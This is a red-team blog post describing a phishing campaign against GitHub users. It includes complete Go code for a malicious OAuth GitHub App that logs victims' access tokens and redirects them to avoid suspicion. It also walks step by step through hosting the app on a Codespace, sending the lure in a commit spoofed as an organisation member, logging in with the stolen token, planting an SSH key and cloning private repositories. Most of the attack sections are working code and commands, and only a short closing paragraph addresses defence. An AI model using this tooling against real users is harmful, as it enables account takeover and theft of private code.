Phishing with GitHub

Blogs· 5min February 1, 2023

For a Red Team operator it can be disappointing to retire a particular technique, but it can also be an opportunity to share their knowledge with the community. Phishing operations can require a lot of time and effort to set up the infrastructure, acquiring and categorising domains, fine tuning payloads, preparing pretexts and bypassing those pesky filters and controls, but there are ways to make the process simpler. This post will explore one such method, using GitHub as a tool to distribute, host, and compromise a target in a bait, hook, and catch operation that can be done from a mobile device. This post will cover: GitHub Apps, Hosting, Distribution and SSH Access.

GitHub Apps

GitHub Apps provide a powerful way for developers to streamline and optimize their workflows. These apps function independently and can take actions through the API using their own identity, eliminating the need for maintaining a separate service account or bot user.

To create the GitHub App go to the GitHub Developer Settings page by clicking on your profile picture in the top right corner of GitHub, selecting Settings, and then selecting Developer Settings.

Select GitHub Apps from the menu on the left side of the page.

Click the New GitHub App button.

Fill in the required information for your app, including its name, description, and the URL of your app's homepage.

Set up the permissions for your app by selecting the Account permissions options under Permissions and set the Git SSH keys access level to Read and Write.

Add a callback URL by clicking on the Add Callback URL button and providing the URL to redirect to after a user authorises an installation.

In post installation set the Setup URL where users will be redirected to this URL after installing your GitHub App to complete additional setup.

Finally click on Create GitHub App to create the GitHub App.

For the application, we will use a simple Go app that uses the OAuth2 protocol and the GitHub API to authenticate a user and retrieve their GitHub username and access token.

It defines two HTTP handlers, login and callback, the login handler redirects the user to the GitHub OAuth2 authorization URL, passing in a state and access type.

The callback handler, which is called when the user is redirected back from GitHub, takes the authorisation code from the request, exchanges it for an access token, then creates a new GitHub API client using this token. It then retrieves the authenticated user's details from the API and logs their username and token to the console. Finally, it redirects the user to Github to avoid suspicions.

package main

import (
	"context"
	"log"
	"net/http"
	"os"

	"github.com/google/go-github/github"
	"golang.org/x/oauth2"
	githubOAuth2 "golang.org/x/oauth2/github"
)

var (
	oauth2Config = &oauth2.Config{
		ClientID:     os.Getenv("GITHUB_CLIENT_ID"),
		ClientSecret: os.Getenv("GITHUB_CLIENT_SECRET"),
		Endpoint:     githubOAuth2.Endpoint,
	}
	csrfToken = "NotSoRandomString"
	redirectURL = "https://github.com"
)

func login(w http.ResponseWriter, req *http.Request) {
	url := oauth2Config.AuthCodeURL(csrfToken, oauth2.AccessTypeOnline)
	http.Redirect(w, req, url, http.StatusTemporaryRedirect)
}

func callback(w http.ResponseWriter, req *http.Request) {
	ctx := context.Background()
	code := req.FormValue("code")
	token, _ := oauth2Config.Exchange(ctx, code)
	oauthClient := oauth2Config.Client(ctx, token)
	client := github.NewClient(oauthClient)
	user, _, _ := client.Users.Get(ctx, "")

	log.Printf("Username: %s", *user.Login)
	log.Printf("Token:    %s", token.AccessToken)

	http.Redirect(w, req, redirectURL, http.StatusTemporaryRedirect)
}

func main() {
	const address = "0.0.0.0:9000"

	http.HandleFunc("/", login)
	http.HandleFunc("/callback", callback)

	log.Printf("Starting Server listening on http://%s", address)
	http.ListenAndServe(address, nil)
}

Note: This application has been made simpler for demonstration purposes and does not include any error checking, making it unsuitable for use in a production environment.

In order to run the application, setup the OAuth2 configuration using environment variables GITHUB_CLIENT_ID and GITHUB_CLIENT_SECRET as the client ID and client secret respectively.

$ export GITHUB_CLIENT_ID=Iv1.01234567890abcde
$ export GITHUB_CLIENT_SECRET=0123456789abcdefghijklmnopqrstuvwxyz0123

To both build and run the code, we can utilise the command go run.

$ go run main.go 
2023/01/25 17:00:54 Starting Server listening on http://0.0.0.0:9000

Hosting

GitHub Codespaces allows developers to easily create and manage development environments within their web browsers. It provides an integrated development environment (IDE) that includes a code editor, terminal, and debugging tools, all of which can be used to write, test, and debug code. It also allows developers to collaborate in real-time with other team members, making it a useful tool for remote teams.

Inspired by Nitesh Surana and Magno Logan Abusing a GitHub Codespaces Feature For Malware Delivery post we will use GitHub Codespaces to build, run and host our phishing campaign by sharing forwarded ports publicly.

To accomplish this, simply run the Go application in a Codespace and set the forwarded port visibility to public.

Distribution

There are various methods for delivering payloads, but for this campaign, we will focus on using GitHub Notifications. While this technique may not be novel, it is effective in targeting developers who frequently use GitHub notifications for their daily tasks.

To execute this step, we will first create a new branch in one of the target's open-source GitHub repositories.

$ git clone https://github.com/target/publicproject 
$ git checkout -b security

Then, we will impersonate a user from the target organisation.

$ git config user.name "spoofed-user"
$ git config user.email "spoofed-user@target.com"   

And use the commit message to send a link to our malicious GitHub App by mentioning the target user.

$ git commit -a -m "Mandatory SSH Verification" -m "@target-user Please verify your SSH configuration using https://github.com/apps/verify-ssh."
$ git push --set-upstream origin security

The target user will receive the GitHub notification via email, on GitHub.com notifications inbox and/or via the GitHub Mobile client.

The GitHub App is available at https://github.com/apps/verify-ssh which helps to validation the pretext of the email, "If it's in GitHub it most be legitimate!".

Clicking the Install button takes the user to the installation page.

Followed by the authorise page where the user authorises the permissions required for the GitHub App.

You might argue that a simpler approach would be to just send the link to the authorisation page, but since it is served through a Codespace forwarded port, it may appear suspicious. Using the GitHub App URL, while requiring more user interaction, appears more trustworthy and credible.

Back in the Codespace session the username and token are logged to the terminal.

2023/01/25 17:01:38 Username: target-user
2023/01/25 17:01:38 Token:    ghu_h9YFdUN9vbK6KttWVn2ZrFU0qrn0eA4O5AHS

SSH Access

To gain access to the target user private repos we first need to authenticate with GitHub using the stolen access token.

For that we will use the GitHub CLI command gh auth login with the --with-token flag.

In Codespaces, before using the GitHub CLI, we first need to remove the GITHUB_TOKEN environment variable.

$ unset GITHUB_TOKEN

Authenticate with GitHub using the stolen access token.

$ gh auth login --with-token
ghu_h9YFdUN9vbK6KttWVn2ZrFU0qrn0eA4O5AHS

To verify the current authentication status of the GitHub CLI we can use the gh auth status command.

$ gh auth status
github.com
  ✓ Logged in to github.com as target-user (oauth_token)
  ✓ Git operations for github.com configured to use https protocol.
  ✓ Token: *******************

Now that we have logged in to GitHub as target-user we can add a new SSH to access the target user private repos.

First generate a new public/private rsa key pair in the \tmp folder using the ssh-keygen command.

$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/codespace/.ssh/id_rsa): /tmp/id_rsa
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /tmp/id_rsa
Your public key has been saved in /tmp/id_rsa.pub
The key fingerprint is:
SHA256:3RZsuAP3dK16vndv+QCUC4SkC0VORDq4SPVS4ozHnY0 codespace@codespaces-d0244c
The key's randomart image is:
+---[RSA 3072]----+
|   o =*....      |
|  *.==+... o . . |
| o.*+Eo.. + B . .|
|.....o . + O + . |
|. .   . S + * .  |
|           o o   |
|            . o .|
|             o o+|
|              o+*|
+----[SHA256]-----+

Add the SSH key to the target user GitHub account.

$ gh ssh-key add /tmp/id_rsa.pub
✓ Public key added to your account

To verify list the SSH keys in the GitHub account.

$ gh ssh-key list
TITLE                        ID        KEY                                                                                                                                                                                                                                                                                                 ADDED
codespace@codespaces-d0244c  76923897  ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDQUIfwh/zlGM2jckjX4VGkN7W5fUowuco8lJdMLtTz8WtA7vhpWSK+KyBBASJfFqpT1JqJx3Wxiy5ReTfJ/XAN4Um4rmofjoEgX5pVrl6M...LEWhT3LMzt6bru8oPMnK2P8dNNylimo/XdlpFBzQWgI/a1LL38rGhlC0PgEBJjNebcLRVIVpUu/IvjBvd8Jdt8xgPjebi60BGXHDfrWxdA52ZVudvUw2XiGU9rdeMzwGZCYjMRnMG/++Wc=  0m

Change to permissions of the private key.

$ chmod 600 /tmp/id_rsa

Finally, use the SSH key to clone the target user private repository.

$ GIT_SSH_COMMAND='ssh -i /tmp/id_rsa -o IdentitiesOnly=yes' git clone git@github.com:target-user/private.git
Cloning into 'private'...
Warning: Permanently added the ECDSA host key for IP address '140.82.121.3' to the list of known hosts.
remote: Enumerating objects: 8, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 8 (delta 0), reused 5 (delta 0), pack-reused 0
Receiving objects: 100% (8/8), done.

We succeeded! We were able to carry out a campaign using only our phone without any cost!

$ cat private/README.md
Private repository!

Conclusion

GitHub Apps can be a powerful tool for automating tasks and integrating with other tools and services, but it's important to be aware of the potential for abuse and to take steps to protect yourself and your organization. Only install apps from trusted sources and never provide your GitHub tokens to an app or service unless you are sure that it is legitimate. If you suspect that an app is trying to phish for your GitHub tokens, report it to GitHub immediately.

Read more

Written by

github-icongithub-icon
Daniel Teixeira Lead of Offensive Security

Daniel Teixeira is Lead of Offensive Security at Form3. He's passionate about security particularly interested in adversary simulation, vulnerability research and exploit development. He has authored the course "Penetration Testing in Action" on Pluralsight and the book "Metasploit Penetration Testing Cookbook" with Packt Publishing.